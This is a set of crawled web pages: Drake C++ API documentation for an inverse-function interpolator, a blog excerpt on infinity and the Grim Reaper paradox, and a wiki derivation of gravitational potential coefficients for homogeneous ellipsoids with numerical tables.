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http://drake.mit.edu/doxygen_cxx/classdrake_1_1maliput_1_1rndf_1_1_inverse_function_interpolator.html	Drake InverseFunctionInterpolator Class Reference A linear interpolator for arbitrary inverse functions. More... #include <automotive/maliput/rndf/spline_helpers.h> ## Public Member Functions InverseFunctionInterpolator (std::function< double(double)> function, double xmin, double xmax, double error_boundary) Constructor that takes the function, its domain interval and an error boundary for the interpolation. More... double InterpolateMthDerivative (int derivative_order, double y) Interpolates $$x^{(derivative_order)}(y)$$, that is, the inverse of the given function. More... Does not allow copy, move, or assignment InverseFunctionInterpolator (const InverseFunctionInterpolator &)=delete InverseFunctionInterpolatoroperator= (const InverseFunctionInterpolator &)=delete InverseFunctionInterpolator (InverseFunctionInterpolator &&)=delete InverseFunctionInterpolatoroperator= (InverseFunctionInterpolator &&)=delete ## Detailed Description A linear interpolator for arbitrary inverse functions. Helpful for path-length parameterization with ignition::math::Splines. Given a function F, its domain D, and codomain CD, this class gives a linear interpolant of F's inverse that maps CD to D. ## Constructor & Destructor Documentation InverseFunctionInterpolator ( const InverseFunctionInterpolator & ) delete InverseFunctionInterpolator ( InverseFunctionInterpolator && ) delete InverseFunctionInterpolator ( std::function< double(double)> function, double xmin, double xmax, double error_boundary ) explicit Constructor that takes the function, its domain interval and an error boundary for the interpolation. The valid range of function's codomain is determined as follows. The minimum value is xmin applied to function. The maximum value is xmax applied to function. This is valid because function is assumed to be monotonically increasing with x. Parameters [in] function an arbitrary continuous function for which to interpolate an inverse. It should be monotonically increasing with x. [in] xmin function 's domain interval low bound. [in] xmax function 's domain interval upper bound. [in] error_boundary a positive constraint on the maximum error allowed when approximating the inverse function. Exceptions std::runtime_error When error_boundary is not positive. std::runtime_error When xmin is equal or greater than xmax. std::runtime_error When evaluating function throws. ## Member Function Documentation double InterpolateMthDerivative ( int derivative_order, double y ) Interpolates $$x^{(derivative_order)}(y)$$, that is, the inverse of the given function. Parameters [in] derivative_order a non-negative integer describing the order of the inverse function derivative to interpolate. Any value bigger than 1 will make the function return 0.0 as this is a linear interpolant. [in] y the range value to interpolate at, constrained by the direct function image, which is inside the codomain of the direct function. Returns interpolated derivative_order derivative $$x^{(derivative_order)}(y)$$ . Exceptions when derivative_order is a negative integer. when y is larger than the maximum range of the function's codomain as described in the constructor's documentation. std::runtime_error When y is smaller than the minimum range of the function's codomain as described in the constructor's documentation. Here is the call graph for this function: InverseFunctionInterpolator& operator= ( const InverseFunctionInterpolator & ) delete InverseFunctionInterpolator& operator= ( InverseFunctionInterpolator && ) delete The documentation for this class was generated from the following files:	2018-02-26 01:35:46	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6635835766792297, "perplexity": 5403.024323955755}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-09/segments/1518891817908.64/warc/CC-MAIN-20180226005603-20180226025603-00438.warc.gz"}
https://boxingpythagoras.com/tag/infinity/page/2/	# Boxing Pythagoras ## WLC doesn’t understand Infinity, Part 1 One of the topics which William Lane Craig often discusses is a question which has been argued in the Philosophy of Mathematics for at least 2300 years. Can an infinite number of things actually exist? Dr. Craig asserts that such actual infinites cannot exist. This is actually a topic which I have discussed before, on this blog, but Dr. Craig attempts to tackle the question quite differently than does Dr. Wildberger. Interestingly, Dr. Wildberger is a mathematician, and most of my objections to his argument pointed out his unfamiliarity with philosophy; while Dr. Craig, on the other hand, is a philosopher, and most of my objections to his argument will point out his unfamiliarity with mathematics. Dr. Craig has discussed the topic of actual infinities in a number of different places, but I will be referring to his Excursus on Natural Theology, Part 9, for our discussion today. These are the same arguments which I have generally seen Dr. Craig present in his other work, but this happens to be the most recent exploration of the topic from WLC which is available to us. Unfortunately, just as he has done many times before (see here and here, for example), William Lane Craig demonstrates that he has a rather poor grasp of the mathematics he’s attempting to discuss. ## The Grim Reaper Paradox There is a long tradition, in philosophy, of employing paradoxical thought experiments in order to show that our understanding of some subject is either incomplete or incorrect. Quite famously, the paradoxes of Zeno of Elea puzzled philosophers and mathematicians for millennia. These enigmas can be, at once, immensely entertaining and thoroughly maddening to contemplate. About a year ago, I was introduced to one such thought experiment which I had not previously encountered. It is known as the Grim Reaper Paradox, and the version with which I will interact today is presented by philosopher Alexander Pruss. The thought experiment proceeds as follows: Fred is sitting in a room at 8:00 am. There exists an infinite number of Grim Reapers along with Fred, each of which is currently dormant. When any individual Grim Reaper becomes activated, if Fred is still alive, then that Reaper will instantaneously kill Fred; however, if Fred is not alive, the Reaper will return to a dormant state and continue to do nothing. Each of the Grim Reapers is timed to activate at a specific time after 8:00 am. The last Reaper will activate at 9:00 am. The second to last activates at 8:30 am. The third from last at 8:15 am. In general, the nth from last Grim Reaper will activate after $\frac {1}{2^{n+1}}$ hours have passed. Now, we are guaranteed that Fred will not survive past 9:00 am. After all, if he is alive at 9:00 am, then the last Grim Reaper will activate and kill him. However, he can’t have lasted that long, either, since the previous Grim Reaper would have killed him if he had survived until it activated. In fact, we can generalize this: the nth from last Grim Reaper cannot have killed Fred, because if he had survived until $\frac {1}{2^{n+1}}$ hours after 8:00 am, then the (n+1)st from last Grim Reaper would have killed him. Therefore, we see that Fred cannot survive until 9:00 am, and yet we have also shown (by mathematical induction) that none of the Grim Reapers can have been the one which killed Fred. Thus, we have come to a paradox. ## On the Continuum and Indivisibles Εἰ δ’ ἐστὶ συνεχὲς καὶ ἁπτόμενον καὶ ἐφεξῆς, ὡς διώρισται πρότερον, συνεχῆ μὲν ὧν τὰ ἔσχατα ἕν, ἁπτόμενα δ’ ὧν ἅμα, ἐφεξῆς δ’ ὧν μηδὲν μεταξὺ συγγενές, ἀδύνατον ἐξ ἀδιαιρέτων εἶναί τι συνεχές, οἷον γραμμὴν ἐκ στιγμῶν, εἴπερ ἡ γραμμὴ μὲν συνεχές, ἡ στιγμὴ δὲ ἀδιαίρετον. Οὔτε γὰρ ἓν τὰ ἔσχατα τῶν στιγμῶν (οὐ γάρ ἐστι τὸ μὲν ἔσχατον τὸ δ’ ἄλλο τι μόριον τοῦ ἀδιαιρέτου), οὔθ’ ἅμα τὰ ἔσχατα (οὐ γάρ ἐστιν ἔσχατον τοῦ ἀμεροῦς οὐδέν· ἕτερον γὰρ τὸ ἔσχατον καὶ οὗ ἔσχατον). –Aristotle, Physics 6.1 There is a concept which is absolutely intrinsic to all of geometry and mathematics. This particular concept is utilized by every single High School student that has ever graphed a line, and yet this concept is so incredibly difficult to understand that most people cannot wrap their heads around it. I’m talking about the concept of the continuum. Basically, the idea is that geometric geometrical objects are composed of a continuous group of indivisibles, objects which literally have no size, but which cannot be considered “nothing.” Despite the fact that these individual objects have no size, they form together into groups which, as a whole, can be measured in length or height or breadth. In mathematics, objects such as lines, planes, volumes, and all other sorts of space are considered to be continua, continuous and contiguous collections of these indivisibles into a unified whole. Because these infinitesimals have no size, themselves, even finite spaces contain an infinite number of these points. Nearly every mathematician on the planet subscribes to this point of view. However, this was not always the case. Only a little more than 100 years ago, this view was considered extremely controversial and was only held by a fringe minority of scholars. Four centuries before that, this concept was nearly unthinkable. Though it has become, without question, the prevailing view of mathematicians, even today there remain a tiny handful of scholars who object to the use of the infinitesimal, the infinite, the individible, and the continuum in modern math. One such person is Dr. Norman Wildberger, an educator and mathematician for whom I have the utmost respect. Still, I disagree with Dr. Wildberger’s philosophy on this particular issue.	2021-04-18 09:40:51	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 2, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5583324432373047, "perplexity": 2173.209743197759}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618038469494.59/warc/CC-MAIN-20210418073623-20210418103623-00584.warc.gz"}
https://www.vistrails.org/index.php/User:Tohline/ThreeDimensionalConfigurations/HomogeneousEllipsoids	# Properties of Homogeneous Ellipsoids (1) ## Gravitational Potential ### The Defining Integral Expressions As has been shown in a separate discussion titled, "Origin of the Poisson Equation," the acceleration due to the gravitational attraction of a distribution of mass $~\rho$$(\vec{x})$ can be derived from the gradient of a scalar potential $~\Phi$$(\vec{x})$ defined as follows: $\Phi(\vec{x}) \equiv - \int \frac{G \rho(\vec{x}')}{\|\vec{x}' - \vec{x}\|} d^3 x' .$ As has been explicitly demonstrated in Chapter 3 of EFE and summarized in Table 2-2 (p. 57) of BT87, for an homogeneous ellipsoid this volume integral can be evaluated analytically in closed form. Specifically, at an internal point or on the surface of an homogeneous ellipsoid with semi-axes $~(x,y,z) = (a_1,a_2,a_3)$, $~\Phi(\vec{x}) = -\pi G \rho \biggl[ I_\mathrm{BT} a_1^2 - \biggl(A_1 x^2 + A_2 y^2 +A_3 z^2 \biggr) \biggr],$ [ EFE, Chapter 3, Eq. (40)1,2 ] [ BT87, Chapter 2, Table 2-2 ] where, $~A_i$ $~\equiv$ $~a_1 a_2 a_3 \int_0^\infty \frac{du}{\Delta (a_i^2 + u )} ,$ $~I_\mathrm{BT}$ $~\equiv$ $~\frac{a_2 a_3}{a_1} \int_0^\infty \frac{du}{\Delta} = A_1 + A_2\biggl(\frac{a_2}{a_1}\biggr)^2+ A_3\biggl(\frac{a_3}{a_1}\biggr)^2 ,$ $~\Delta$ $~\equiv$ $~\biggl[ (a_1^2 + u)(a_2^2 + u)(a_3^2 + u) \biggr]^{1/2} .$ [ EFE, Chapter 3, Eqs. (18), (15 & 22)1, & (8), respectively ] [ BT87, Chapter 2, Table 2-2 ] ### Evaluation of Coefficients The integrals defining $~A_i$ and $~I_\mathrm{BT}$ can be evaluated in terms of the incomplete elliptic integral of the first kind, $~F(\theta,k) \equiv \int_0^\theta \frac{d\theta '}{\sqrt{1 - k^2 \sin^2\theta '}} ~~ ,$ $E(\theta,k) \equiv \int_0^\theta {\sqrt{1 - k^2 \sin^2\theta '}}~d\theta ' ~~ ,$ where, for our particular problem, $~\theta \equiv \cos^{-1} \biggl(\frac{a_3}{a_1} \biggr) ,$ $~k \equiv \biggl[\frac{a_1^2 - a_2^2}{a_1^2 - a_3^2} \biggr]^{1/2} = \biggl[\frac{1 - (a_2/a_1)^2}{1 - (a_3/a_1)^2} \biggr]^{1/2},$ [ EFE, Chapter 3, Eq. (32) ] or the integrals can be evaluated in terms of more elementary functions if either $~a_2 = a_1$ (oblate spheroids) or $~a_3 = a_2$ (prolate spheroids). #### Triaxial Configurations $~(a_1 > a_2 > a_3)$ If the three principal axes of the configuration are unequal in length and related to one another such that $~a_1 > a_2 > a_3$, $~A_1$ $~=$ $~\frac{2a_2 a_3}{a_1^2} \biggl[ \frac{F(\theta,k) - E(\theta,k)}{k^2 \sin^3\theta} \biggr] ~~;$ $~A_2$ $~=$ $~\frac{2a_2 a_3}{a_1^2} \biggl[ \frac{E(\theta,k) - (1-k^2)F(\theta,k) - (a_3/a_2)k^2\sin\theta}{k^2 (1-k^2) \sin^3\theta}\biggr] ~~;$ $~A_3$ $~=$ $~\frac{2a_2 a_3}{a_1^2} \biggl[ \frac{(a_2/a_3) \sin\theta - E(\theta,k)}{(1-k^2) \sin^3\theta} \biggr] ~~;$ $~I_\mathrm{BT}$ $~=$ $~\frac{2a_2 a_3}{a_1^2} \biggl[ \frac{F(\theta,k)}{\sin\theta} \biggr] ~~.$ [ EFE, Chapter 3, Eqs. (33), (34) & (35) ] Notice that there is no need to specify the actual value of $~a_1$ in any of these expressions, as they each can be written in terms of the pair of axis ratios, $~a_2/a_1$ and $~a_3/a_1$. As a sanity check, let's see if these three expressions can be related to one another in the manner described by equation (108) in §21 of EFE, namely, $~\sum_{\ell=1}^3 A_\ell = 2 \, .$ $~\frac{a_1^2}{2a_2 a_3} \biggl[A_1 + A_3 + A_2\biggr]$ $~=$ $~ \frac{F(\theta,k) - E(\theta,k)}{k^2 \sin^3\theta} + \frac{(a_2/a_3) \sin\theta - E(\theta,k)}{(1-k^2) \sin^3\theta}$ $~+ \frac{E(\theta,k) - (1-k^2)F(\theta,k) - (a_3/a_2)k^2\sin\theta}{k^2 (1-k^2) \sin^3\theta}$ $~=$ $~ \frac{1}{k^2(1-k^2)\sin^3\theta} \biggl\{(1-k^2)F(\theta,k) - (1-k^2)E(\theta,k) + k^2(a_2/a_3) \sin\theta$ $~- k^2E(\theta,k) + E(\theta,k) - (1-k^2)F(\theta,k) - (a_3/a_2)k^2\sin\theta\biggr\}$ $~=$ $~ \frac{1}{(1-k^2)\sin^2\theta} \biggl[ \frac{a_2}{a_3} - \frac{a_3}{a_2} \biggr]$ $~=$ $~ \frac{a_1^2}{a_2 a_3} \, .$ Q.E.D. #### Oblate Spheroids $~(a_1 = a_2 > a_3)$ If the longest axis, $~a_1$, and the intermediate axis, $~a_2$, of the ellipsoid are equal to one another, then an equatorial cross-section of the object presents a circle of radius $~a_1$ and the object is referred to as an oblate spheroid. For homogeneous oblate spheroids, evaluation of the integrals defining $~A_i$ and $~I_\mathrm{BT}$ gives, $~A_1$ $~=$ $~\frac{1}{e^2} \biggl[ \frac{\sin^{-1}e}{e} - (1-e^2)^{1/2} \biggr] (1-e^2)^{1/2} ~~;$ $~A_2$ $~=$ $~A_1 ~~;$ $~A_3$ $~=$ $~\frac{2}{e^2} \biggl[ (1-e^2)^{-1/2} - \frac{\sin^{-1}e}{e} \biggr] (1-e^2)^{1/2} ~~;$ $~I_\mathrm{BT}$ $~=$ $~2A_1 + A_3 (1-e^2) = 2 (1-e^2)^{1/2} \biggl[ \frac{\sin^{-1}e}{e} \biggr] ~~,$ [ EFE, Chapter 3, Eq. (36) ] [ T78, §4.5, Eqs. (48) & (49) ] where the eccentricity, $~e \equiv \biggl[1 - \biggl(\frac{a_3}{a_1}\biggr)^2 \biggr]^{1/2} ~~.$ #### Prolate Spheroids $~(a_1 > a_2 = a_3)$ If the shortest axis $~(a_3)$ and the intermediate axis $~(a_2)$ of the ellipsoid are equal to one another, then a cross-section in the $~x-y$ plane of the object presents a circle of radius $~a_3$ and the object is referred to as a prolate spheroid. For homogeneous prolate spheroids, evaluation of the integrals defining $~A_i$ and $~I_\mathrm{BT}$ gives, $~A_1$ $~=$ $\ln\biggl[ \frac{1+e}{1-e} \biggr] \frac{(1-e^2)}{e^3} - \frac{2(1-e^2)}{e^2} ~~;$ $~A_2$ $~=$ $\frac{1}{e^2} - \ln\biggl[ \frac{1+e}{1-e} \biggr]\frac{(1-e^2)}{2e^3} ~~;$ $~A_3$ $~=$ $A_2 ~~;$ $~I_\mathrm{BT}$ $~=$ $~ A_1 + 2(1-e^2)A_2 = \ln\biggl[ \frac{1+e}{1-e} \biggr]\frac{(1-e^2)}{e} ~~,$ [ EFE, Chapter 3, Eq. (38) ] where, again, the eccentricity, $~e \equiv \biggl[1 - \biggl(\frac{a_3}{a_1}\biggr)^2 \biggr]^{1/2} ~~.$ ## Example Evaluations Here we adopt the notation mapping, $~(a_1, a_2, a_3) ~\leftrightarrow~ (a,b,c)$. In general, for a given pair of axis ratios, $~(\tfrac{b}{a}, \tfrac{c}{a})$, a determination of the coefficients, $~A_1$, $~A_2$, and $~A_3$, requires evaluation of elliptic integrals. For practical applications, we have decided to evaluate these special functions using the fortran functions provided in association with the book, Numerical Recipes in Fortran; in order to obtain the results presented in our Table 2, below, we modified those default (single-precision) routines to generate results with double-precision accuracy. Along the way (see results posted in our Table 1), we pulled cruder evaluations of both elliptic integrals, $~F(\theta,k)$ and $~E(\theta,k)$, from the printed special-functions table found in a CRC handbook. As we developed/debugged the numerical tool that would allow us to determine the values of these three coefficients for arbitrary choices of the pair of axis ratios, it was important that we compare the results of our calculations to those that have appeared in the published literature. As a primary point of comparison, we chose to use The properties of the Jacobi ellipsoids as tabulated in §39 (Chapter 6) of Chandrasekhar's EFE. In particular, for twenty-six separate axis-ratio pairs, Chandrasekhar's Table IV lists the values of the square of the angular velocity, $~\Omega^2$, and the total angular momentum, $~L$, of an equilibrium Jacobi ellipsoid that is associated with each axis-ratio pair. We should be able to duplicate — or, via double-precision arithmetic, improve — Chandrasekhar's tabulated results using the expressions for "omega2", $~\frac{\Omega^2}{\pi G\rho}$ $~=$ $~2B_{12}$ [ EFE, §39, Eq. (5) ] $~=$ $~2\biggl[\frac{A_1 - (b/a)^2A_2}{1-(b/a)^2} \biggr] \, ,$ [using, EFE, §21, Eqs. (105) & (107) ] and, for "angmom", $~\frac{L}{(GM^3)^{1/2}(abc)^{1/6}}$ $~=$ $~\frac{\sqrt{3}}{10}\biggl[ \frac{a^2 + b^2}{(abc)^{2/3}} \biggr]\biggl(\frac{\Omega^2}{\pi G \rho}\biggr)^{1/2}$ [ EFE, §39, Eq. (16) ] $~=$ $~\frac{\sqrt{3}}{10}\biggl[ \frac{1 + (b/a)^2}{(b/a)^{2/3}(c/a)^{2/3}} \biggr]\biggl(\frac{\Omega^2}{\pi G \rho}\biggr)^{1/2} \, .$ Or, in connection with the free-energy discussion found in D. M. Christodoulou, D. Kazanas, I. Shlosman, & J. E. Tohline (1995, ApJ, 446, 472), $~\frac{5L}{M}$ $~=$ $~a^2\biggl[ 1 + \biggl(\frac{b}{a}\biggr)^2 \biggr]\biggl[\frac{\Omega^2}{\pi G \rho}\biggr]^{1/2}$ $~=$ $~\biggl[ \frac{15}{4}\biggl(\frac{b}{a}\biggr)^{-1}\biggl(\frac{c}{a}\biggr)^{-1} \biggr]^{2/3} \biggl[ 1 + \biggl(\frac{b}{a}\biggr)^2 \biggr]\biggl[\frac{\Omega^2}{\pi G \rho}\biggr]^{1/2}$ Table 1: Example Evaluations Given Determined using calculator and (crude) CRC tables of elliptic integrals $~\frac{a_2}{a_1}$ $~\frac{a_3}{a_1}$ $~\theta$ $~k$ $~\sin^{-1}k$ $~F(\theta,k)$ $~E(\theta,k)$ $~A_1$ $~A_2$ $~A_3$ 1.00 0.582724 0.94871973 54.3576 0.00000000 0.00000000 0.000000 0.94871973 0.94871973 0.51589042 0.51589042 0.96821916 0.96 0.570801 0.96331527 55.1939 0.34101077 0.34799191 19.9385 0.975 0.946 +0.4937 +0.5319 +0.9744 0.60 0.433781 1.12211141 64.292 0.88788426 1.09272580 62.609 1.3375 0.9547 0.3455 0.6741 0.9803 With regard to our Table 1 (immediately above): To begin with, we picked three axis-ratio pairs from Table IV of EFE, and considered them to be "given." For each pair, we used a hand-held calculator to calculate the corresponding values of the two arguments of the elliptic integrals, namely, $~\theta$ and $~k$, as defined above. By default, each determined value of $~\theta$ is in radians. Because the published CRC special-functions tables quantify both arguments of the special functions in angular degrees, we converted $~\theta$ from radians to degrees (see column 4 of Table 1) and, similarly, we converted $~\sin^{-1}k$ to degrees (see column 7 of Table 1). For the axisymmetric configuration — the first row of numbers in Table 1, for which $~a_2/a_1 = 1$ — the coefficients, $~A_1$, $~A_2$, and $~A_3$, were determined to eight digits of precision using the appropriate expressions for oblate spheroids. Note that, in this axisymmetric case, $~F(\theta,0) = E(\theta,0) = \theta$, but these function values are irrelevant with respect to the determination of the $~A_\ell$ coefficients. Table 2: Double-Precision Evaluations Related to Table IV in EFE, Chapter 6, §39 (p. 103) precision b/a c/a F E A1 A2 A3 [2-(A1+A2+A3)]/2 1.00 0.582724 ----- ----- 5.158904180D-01 5.158904180D-01 9.682191640D-01 0.0D+00 0.96 0.570801 9.782631357D-01 9.487496699D-01 5.024584655D-01 5.292952683D-01 9.682462661D-01 4.4D-16 0.92 0.558330 1.009516282D+00 9.489290273D-01 4.884500698D-01 5.432292722D-01 9.683206580D-01 0.0D+00 0.88 0.545263 1.042655826D+00 9.492826127D-01 4.738278227D-01 5.577100115D-01 9.684621658D-01 2.2D-16 0.84 0.531574 1.077849658D+00 9.498068890D-01 4.585648648D-01 5.727687434D-01 9.686663918D-01 2.2D-16 0.80 0.517216 1.115314984D+00 9.505192815D-01 4.426242197D-01 5.884274351D-01 9.689483451D-01 -4.4D-16 0.76 0.502147 1.155290552D+00 9.514282210D-01 4.259717080D-01 6.047127268D-01 9.693155652D-01 2.2D-16 0.72 0.486322 1.198053140D+00 9.525420558D-01 4.085724682D-01 6.216515450D-01 9.697759868D-01 -4.4D-16 0.68 0.469689 1.243931393D+00 9.538724717D-01 3.903895871D-01 6.392680107D-01 9.703424022D-01 2.2D-16 0.64 0.452194 1.293310292D+00 9.554288569D-01 3.713872890D-01 6.575860416D-01 9.710266694D-01 4.4D-16 0.60 0.433781 1.346645618D+00 9.572180643D-01 3.515319835D-01 6.766289416D-01 9.718390749D-01 -3.3D-16 0.56 0.414386 1.404492405D+00 9.592491501D-01 3.307908374D-01 6.964136019D-01 9.727955606D-01 -6.7D-16 0.52 0.393944 1.467522473D+00 9.615263122D-01 3.091371405D-01 7.169543256D-01 9.739085339D-01 4.4D-16 0.48 0.372384 1.536570313D+00 9.640523748D-01 2.865506903D-01 7.382563770D-01 9.751929327D-01 -2.2D-16 0.44 0.349632 1.612684395D+00 9.668252052D-01 2.630231082D-01 7.603153245D-01 9.766615673D-01 8.9D-16 0.40 0.325609 1.697213059D+00 9.698379297D-01 2.385623719D-01 7.831101146D-01 9.783275135D-01 0.0D+00 0.36 0.300232 1.791930117D+00 9.730763540D-01 2.132011181D-01 8.065964525D-01 9.802024294D-01 2.2D-15 0.32 0.273419 1.899227853D+00 9.765135895D-01 1.870102340D-01 8.307027033D-01 9.822870627D-01 -1.3D-15 0.28 0.245083 2.022466812D+00 9.801112910D-01 1.601127311D-01 8.553054155D-01 9.845818534D-01 -2.4D-15 0.24 0.215143 2.166555572D+00 9.838093161D-01 1.327137129D-01 8.802197538D-01 9.870665333D-01 1.4D-14 0.20 0.183524 2.339102805D+00 9.875217566D-01 1.051389104D-01 9.051602520D-01 9.897008376D-01 -1.6D-14 0.16 0.150166 2.552849055D+00 9.911267582D-01 7.790060179D-02 9.296886827D-01 9.924107155D-01 -3.4D-14 0.12 0.115038 2.831664019D+00 9.944537935D-01 5.180880535D-02 9.531203882D-01 9.950708065D-01 1.4D-13 0.08 0.078166 3.229072310D+00 9.972669475D-01 2.817821170D-02 9.743504218D-01 9.974713665D-01 3.9D-13 0.04 0.039688 3.915557866D+00 9.992484565D-01 9.281550546D-03 9.914470033D-01 9.992714461D-01 9.8D-13 With regard to our Table 2 (immediately above): Next, given each pair of axis ratios, $~(\tfrac{b}{a},\tfrac{c}{a})$ — copied from Table IV of EFE (see columns 1 and 2 of our Table 2) — we used some fortran routines from Numerical Recipes to calculate $~F(\theta,k)$ and $~E(\theta,k)$ (see columns 3 and 4 of our Table 2); we converted the routines to accommodate double-precision arithmetic. We subsequently evaluated the coefficients, $~A_1$, $~A_2$, and $~A_3$, (columns 5, 6, & 7 of Table 2) using the expressions given above, then demonstrated that, in each case, the three coefficients sum to 2.0 to better than twelve digits accuracy. Material that appears after this sign is under development and therefore may contain incorrect mathematical equations and/or physical misinterpretations. \| Go Home \| ## Acceleration at the Pole ### Prolate Spheroids In our above review, for consistency, we assumed that the longest axis of the ellipsoid was aligned with the $~x$-axis in all cases — for prolate spheroids as well as for oblate spheroids and for the more generic, triaxial ellipsoids. In this discussion, in order to better align with the operational features of a standard cylindrical coordinate system, we will orient the prolate-spheroidal configuration such that its major axis and, hence, its axis of symmetry aligns with the $~z$-axis while the center of the spheroid remains at the center of the (cylindrical) coordinate grid. In this case, the surface will be defined by the ellipse, $~\frac{\varpi^2}{a_3^2} + \frac{z^2}{a_1^2} = 1 ~~~~\Rightarrow ~~~~ \varpi = a_3\sqrt{1-z^2/a_1^2} \, ,$ and the gravitational potential will be given by the expression, $~\Phi(\vec{x}) = -\pi G \rho \biggl[ I_\mathrm{BT} a_1^2 - \biggl(A_1 z^2 + A_3 \varpi^2 \biggr) \biggr].$ The magnitude of the gravitational acceleration at the pole $~(\varpi, z) = (0, a_1)$ of this prolate spheroid can be obtained from the gravitational potential via the expression, $~\mathcal{A} \equiv \biggl\|- \frac{\partial \Phi}{\partial z}\biggr\|_{a_1}$ $~=$ $~2\pi G \rho A_1 a_1 \, ,$ where, as above, $~A_1$ $~=$ $\ln\biggl[ \frac{1+e}{1-e} \biggr] \frac{(1-e^2)}{e^3} - \frac{2(1-e^2)}{e^2} \, .$ We should also be able to derive this expression for $~\mathcal{A}$ by integrating the $~z$-component of the differential acceleration over the mass distribution, that is, $~\mathcal{A}$ $~=$ $~\int \biggl[ \frac{G }{r^2} \cdot \frac{(a_1-z)}{r} \biggr] dm = \int \biggl[ \frac{(a_1-z)G }{r^3} \biggr] 2\pi \varpi d\varpi dz$ $~=$ $~2\pi G\rho \int^{a_1}_{-a_1} (a_1-z)dz \int_0^{a_3\sqrt{1-z^2/a_1^2}} [\varpi^2+(z-a_1)^2]^{-3/2}\varpi d\varpi \, ,$ where the distance, $~r$, has been measured from the pole, that is, $~r^2 = \varpi^2 + (z-a_1)^2 \, .$ Performing the integral over $~\varpi$ gives, $~\mathcal{A}$ $~=$ $~2\pi G\rho \int^{a_1}_{-a_1} (a_1-z)dz \biggl\{ -[\varpi^2+(z-a_1)^2]^{-1/2} \biggr\}_0^{a_3\sqrt{1-z^2/a_1^2}}$ $~=$ $~2\pi G\rho \int^{a_1}_{-a_1} (a_1-z)dz \biggl\{ \frac{1}{z - a_1} -\biggl[ a_3^2 \biggl(1-\frac{z^2}{a_1^2} \biggr) + a_1^2\biggl(1-\frac{z}{a_1}\biggr)^2 \biggr]^{-1/2} \biggr\}$ $~=$ $~ - 2\pi G\rho a_1 \int^{1}_{-1} d\zeta \biggl\{ \frac{1-\zeta}{1-\zeta } - (1-\zeta)\biggl[ \biggl(\frac{a_3}{a_1}\biggr)^2 \biggl(1-\zeta^2 \biggr) + \biggl(1-\zeta\biggr)^2 \biggr]^{-1/2} \biggr\}$ $~=$ $~ 2\pi G\rho a_1 \int^{1}_{-1} d\zeta \biggl\{ (1-\zeta) [ (2-e^2) - 2\zeta + e^2\zeta^2 ]^{-1/2} -1 \biggr\} \, ,$ where, $~\zeta\equiv z/a_1$. For later reference, we will identify the expression inside the curly braces as the function, $~\mathcal{Z}$; specifically, $~\mathcal{Z}$ $~\equiv$ $~(1-\zeta) [ (2-e^2) - 2\zeta + e^2\zeta^2 ]^{-1/2} -1$ $~=$ $~- 1 - \frac{\zeta}{\sqrt{X}} + \frac{1}{\sqrt{X}} \, ,$ where, in an effort to line up with notation found in integral tables, in this last expression we have used the notation, $~X \equiv a + b\zeta + c\zeta^2$ and, in our case, $a \equiv (2-e^2)\, ,$ $b \equiv -2\, ,$ and $c \equiv e^2\, .$ We find that, $~\int_{-1}^1 \mathcal{Z} d\zeta$ $~=$ $~- \zeta\biggr\|_{-1}^{1} - \biggl\{ \frac{\sqrt{X}}{c} \biggr\}_{-1}^1 +\biggl[1 + \frac{b}{2c} \biggr]\int_{-1}^1 \frac{d\zeta}{\sqrt{X}}$ $~=$ $~- 2 - \biggl\{ \frac{\sqrt{(2-e^2) -2\zeta + e^2\zeta^2}}{e^2} \biggr\}_{-1}^1 +\biggl[1 - \frac{1}{e^2} \biggr] \biggl\{ \frac{1}{\sqrt{c}} \ln \biggl[2\sqrt{cX} + 2c\zeta + b \biggr] \biggr\}_{-1}^1$ $~=$ $~- 2 - \biggl\{ \frac{\sqrt{(2-e^2) -2 + e^2}}{e^2} \biggr\} + \biggl\{ \frac{\sqrt{(2-e^2) +2 + e^2}}{e^2} \biggr\} + \biggl[1 - \frac{1}{e^2} \biggr] \biggl\{ \frac{1}{e} \ln \biggl[2\sqrt{e^2[(2-e^2) -2\zeta + e^2\zeta^2]} + 2e^2\zeta - 2 \biggr] \biggr\}_{-1}^1$ $~=$ $~- 2 + \frac{2}{e^2} +\biggl[\frac{e^2-1}{e^3} \biggr] \biggl\{ \ln \biggl[2e^2 - 2 \biggr] - \ln \biggl[4e - 2e^2 - 2 \biggr] \biggr\}$ $~=$ $~- 2\biggl[\frac{e^2 - 1}{e^2}\biggr] +\biggl[\frac{e^2-1}{e^3} \biggr] \biggl\{ \ln \biggl[-2(1-e^2) \biggr] - \ln \biggl[-2(1-e)^2\biggr] \biggr\}$ $~=$ $~\biggl[\frac{1-e^2}{e^3} \biggr] \ln \biggl[\frac{1+e}{1-e} \biggr] -2\biggl[\frac{1-e^2 }{e^2}\biggr]$ $~=$ $~A_1 \, .$ Hence, we have, $~\mathcal{A} = 2\pi G\rho a_1 \biggl[ \int_{-1}^1 \mathcal{Z} d\zeta\biggr]= 2\pi G \rho A_1 a_1 \, 